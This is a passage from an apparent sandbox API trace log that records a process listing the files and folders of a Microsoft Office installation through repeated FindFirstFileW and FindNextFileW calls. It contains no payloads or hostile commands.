ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0042.886] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0042.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0042.886] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.886] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0042.886] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0042.886] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0042.886] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0042.887] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0042.887] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0042.887] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0042.888] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0042.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0042.888] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.888] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0042.889] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0042.890] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0042.890] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0042.890] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0042.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0042.891] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.891] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 [0042.899] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0042.900] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0042.900] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0042.900] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0042.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.189] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.189] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="MSNMON~1.IQY")) returned 1 [0043.189] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.189] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.189] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0043.190] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.190] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.190] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1 [0043.190] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.190] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.191] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0043.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.193] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.193] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0043.193] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.193] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.193] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0043.195] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.195] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.195] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.195] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.198] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.199] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6e4b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d6e4b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_M.VST", cAlternateFileName="")) returned 1 [0043.525] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.530] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.547] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.547] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1 [0043.562] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.562] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0043.562] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0043.562] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.562] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.563] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0043.563] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.563] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.563] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.563] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 